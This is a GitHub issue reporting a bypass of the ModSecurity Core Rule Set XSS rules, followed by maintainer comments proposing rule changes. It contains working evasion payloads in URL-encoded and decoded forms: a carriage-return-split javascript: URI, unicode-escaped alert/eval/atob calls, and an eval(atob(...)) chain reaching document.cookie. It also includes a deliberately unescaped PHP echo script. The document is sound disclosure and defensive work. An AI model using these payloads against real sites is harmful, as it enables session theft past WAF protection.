XSS Bypass on the official CoreRuleSet rules (REQUEST-941-APPLICATION-ATTACK-XSS.conf)
See original GitHub issueGood morning, hope all is well.
I have came across a XSS Bypass while testing the ModSecurity CRS, the specific configuration file REQUEST-941-APPLICATION-ATTACK-XSS.conf
is vulnerable to an XSS Bypass using unicode
.
I have setup the CRS with the following configuration enabled in the /etc/apache2/mods-available/security2.conf
<IfModule security2_module>
SecDataDir /var/cache/modsecurity
IncludeOptional /etc/modsecurity/*.conf
IncludeOptional /usr/share/modsecurity-crs/coreruleset/crs-setup.conf
IncludeOptional /usr/share/modsecurity-crs/coreruleset/rules/*.conf
</IfModule>
As you can see it’s including the CRS Directory which I have setup in /usr/share/modsecurity-crs/coreruleset/*
and rules being in /rules/
Now there’s a few things to note, hyper links
were allowed so our official start was figuring out that was allowed.
<a href=https://www.google.com>click</a>
We knew it wouldn’t be as easy as just inputting javascript:alert(document.cookie)
but we tried and it got detected, as we thought.
We spent about 10 minutes looking at the tags, event handlers and methods allowed.
The first step to building a successful bypass was by getting the javascript:
keyword to work, we came up with the following:
jav
ascript:
Note: In a few edited versions of CRS they block :
so below we posted our Bypass for that instead of the one above.
Our payload so far:
<a href=jav
ascript:>XSS</a>
Although this was working we still needed to call something like alert()
prompt()
eval()
etc etc.
So we decided to use Unicode which would encode the alert()
to act as an obfuscation to avoid the WAF detection in the rule set.
We had doubts but when this worked we were shocked.
XSS:
<a href=jav
ascript:\u0061lert(document.domain)>XSS</a>
As you can see we’re calling document.domain
Note: When using this for RXSS you must encode the payload using URL Encoding:
%3Ca%20href%3Djav%26%23x0D%3Bascript%26colon%3B%5Cu0061lert%26%23x28%3Bdocument.domain%26%23x29%3B%3EXSS%3C%2Fa%3E%20
Now we have the bypass constructed and working:
PHP script for the XSS:
<?php
$val = "1337";
setcookie("SESSID", $val, time()+3600, '/');
$x = $_GET['xss'];
echo($x);
?>
In a SXSS Case you don’t need URL Encoding.
Now, we thought we’d be able to just call document.cookie
, however, this was detected and blocked:
Searching why:
- This is suppose to reference that it’s being blocked in the
rule
of course we didn’t spend time searching for the actual part.
Bypass:
We’re going to use eval()
to call atob()
which is a function to decode Base64 Values thus we can create a string which calls alert(document.cookie)
and have atob()
decode that base64 string in theory we should get the alert()
.
We of course realised eval()
would be blocked and probably atob()
was also blocked. So, we tried our trick of Unicode and well, we successfully bypassed this restriction to be able to call document.cookie
:
Payload:
%3Ca%20href%3Djav%26%23x0D%3Bascript%26colon%3B%5Cu0065val(%5Cu0061tob(%22YWxlcnQoZG9jdW1lbnQuY29va2llKQ%3D%3D%22))%3B%3Exxx%3C%2Fa%3E
Decoded (for SXSS):
<a href=jav
ascript:\u0065val(\u0061tob("YWxlcnQoZG9jdW1lbnQuY29va2llKQ=="));>xxx</a>
Fix: Block Unicode chars in the rules.
If the above is already done then it may’ve been incorrectly added to the rule as the bypass above works on the latest version
of coreruleset
.
Thanks,
Issue Analytics
- State:
- Created a year ago
- Reactions:4
- Comments:12 (7 by maintainers)
Top GitHub Comments
This is beautiful. Thank you.
Thank you @RSTG0D for this beautiful bypass and for reporting it!
I had a look at the various inputs you provided and I think we should do the following things:
First, we should cover
document.domain
. Therefore I would like to extend the following rule that already coversdocument.write
anddocument.cookie
with the following:document.domain
: https://github.com/coreruleset/coreruleset/blob/v4.0/dev/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf#L208Next, I think we should add
atob()
to the file where we already covereval()
. And this is PHP rule 933160 in the file https://github.com/coreruleset/coreruleset/blob/v4.0/dev/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf#L330 that is generated from the regex source file: https://github.com/coreruleset/coreruleset/blob/v4.0/dev/util/regexp-assemble/data/933160.data#L57And finally I would like to cover the evasions:
I think the
:
injav
ascript:
is covered by the transformation htmlEntityDecode that we have in many of the 941 rules.So I think we are talking about the unicode characters that you mentioned. We don’t have a transformation function for that, but I found the following rule that tries to detect unicode in
REQUEST_URI
andREQUEST_BODY
: https://github.com/coreruleset/coreruleset/blob/v4.0/dev/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf#L457 with the following regex\%u[fF]{2}[0-9a-fA-F]{2}
. Do we want to add a similar, general rule for detecting other forms of unicode characters?? Or is this approach too general because unicode characters are legitimate. And we better enhance the 941 rules with detection of unicode characters inside the XSS strings??